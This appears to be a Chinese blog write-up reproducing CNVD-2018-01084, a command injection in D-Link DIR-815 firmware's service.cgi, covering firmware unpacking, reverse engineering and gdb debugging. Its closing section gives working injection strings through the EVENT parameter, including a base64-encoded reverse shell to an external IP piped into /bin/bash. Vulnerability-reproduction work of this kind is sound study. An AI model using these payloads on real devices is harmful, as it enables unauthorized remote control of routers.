CNVD-2018-01084 命令注入漏洞复现
| 0 | 前言
第一次摸到命令注入漏洞,和CNVD-2013-11625有着相似的模式,过程非常轻松,已经学会了一点点逆向偷跑的小技巧
全程看着winmt大哥的记录复现的
官方报告: D-Link DIR 615/645/815 service.cgi远程命令执行漏洞
固件获取: 固件下载
| 1 | 前期准备
仍然使用binwlak解包,目前还没遇到过加密的固件包,不过估计快了
1 | binwalk -e --preserve-symlinks DIR-815\ FW\ 1.01b14_1.01b14.bin |

| 2 | 文件逆向

进入main函数,仍然是根据argv进入不同的函数对报文进行处理,根据官方漏洞报告,找到servicecgi_main
请求处理如下,当请求方式为POST或GET时,程序不会报错,且POST时v2=0x400;GET时v2=0x40
处理完请求方式后,进入cgibin_parse_request((int)sub_40A63C, 0, v2),这个函数我已经在CNVD-2013-11625复现中实现了

先对URI变量使用?分割,然后将后半段使用=与&继续分割

最后数据被存储在堆中,堆指针被留在栈上(这是个重点)

然后调用sub_40A1C0,以硬编码的字符串为参数,在这里可以猜测是对刚刚处理好的URI进行比较
但具体比较的是哪段很难通过静态分析看出来

然后根据URI的不同,将v12赋值为不同的格式化字符串,最后调用lxmldbc_system

很明显的漏洞注入,没有任何参数的过滤(除了&因为分割原因被过滤)
现在的问题是lxmldbc_system的参数我们不好观察(使用的栈上的数据,但是栈具体是什么样子我们不好看出来)
这时候就要使用动态调试了
| 3 | 动态调试
运行以下shell脚本
1 | /bin/sh |
然后在另一个shell中使用gdb连接1234端口
分析sub_40A1C0的功能
我们将断点打在strcmp函数上,观察哪部分URI被用来和硬编码的字符串进行比较

可以看到,bbb段被用来和EVENT进行比较,确定由?和=中间的字段决定格式化字符串的模式
我们将脚本中的URI变量修改为aaa?EVENT=ccc
对lxmldbc_system参数的调试
我们同样将断点下在lxmldbc_system上,观察参数

可以看到ccc被格式化进入了字符串
最后把断点下在system函数上,最终确定命令是可控的

命令注入分析
我们可以使用多种分割符号对system命令进行分割,这样可以处理掉无意义的字符串
最简单的分隔符就是;
此时我们将URI设置为-E REQUEST_URI="aaa?EVENT=;echo hacking!!!;" \
再次调试,在system处发现

可以看到屏幕上成功被打印出

说明我们命令注入成功!
当然如果想扩大利用,我们可以弹一个shell到其他端口
因为&被过滤了,我们可以通过base64加密解密+|使用来间接注入反弹shell命令
将URI修改为-E REQUEST_URI="aaa?EVENT=;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNjguMTAuOTYvMzY4ODEgMD4mMQ== | base64 -d | /bin/bash;"
将base64编码的反弹shell命令进行base64解密,再通过传入/bin/bash执行,成功弹出shell
